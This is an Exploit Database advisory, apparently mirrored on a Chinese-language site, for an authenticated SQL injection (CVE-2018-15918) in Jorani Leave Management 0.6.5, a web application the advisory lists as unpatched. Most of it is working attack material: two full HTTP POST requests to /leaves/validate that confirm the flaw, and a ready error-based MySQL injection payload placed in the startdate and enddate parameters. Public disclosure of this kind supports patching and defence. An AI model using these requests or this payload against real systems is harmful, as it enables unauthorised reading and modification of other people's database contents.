Jorani Leave Management 0.6.5 – (Authenticated) ‘startdate’ SQL Injection

Exploit Database
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作者： Javier Olmedo

日期： 2018-09-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/45340/

# Exploit Title: Jorani Leave Management 0.6.5 – 'startdate' SQL Injection

# Exploit Author: Javier Olmedo

# Website: https://hackpuntes.com

# Date: 2018-09-06

# Google Dork: N/A

# Vendor: Benjamin BALET

# Software Link: https://jorani.org/download.html

# Affected Version: 0.6.5 and possibly before

# Patched Version: unpatched

# Category: Web Application

# Platform: Windows

# Tested on: Win10x64 & Kali Linux

# CVE: 2018-15918

# Reference:

# https://hackpuntes.com/cve-2018-15918-jorani-leave-management-system-0-6-5-sql-injection/

# https://github.com/bbalet/jorani/issues/254

# 1. Technical Description:

# Jorani Leave Management System 0.6.5 and possibly before are affected by SQL Injection in startdate

# and enddate parameters through POST request in "/leaves/validate" resource.

# This allows a user of the application without permissions to read and modify sensitive information from

# the database used by the application.

# 2. Proof Of Concept (PoC):

# 2.1 The following POST request generates an error 500 in the Application (add ' in startdate parameter)

---

POST /leaves/validate HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/leaves/create

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 167

Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo;

Connection: close

csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02'&enddate=2018-08-03

&startdatetype=Morning&enddatetype=Afternoon&leave_id=

---

# 2.2 In another request, add two ' to receive a code 200 OK

---

POST /leaves/validate HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/leaves/create

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 167

Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo;

Connection: close

csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02''&enddate=2018-08-03

&startdatetype=Morning&enddatetype=Afternoon&leave_id=

---

# 3. Payload:

# Parameters: startdate and enddate (POST)

# Type: error-based

# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

# Payload:

id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03') AND (SELECT 2138 FROM (SELECT COUNT(*),CONCAT(0x7178787071,

(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND

('WfLI'='WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=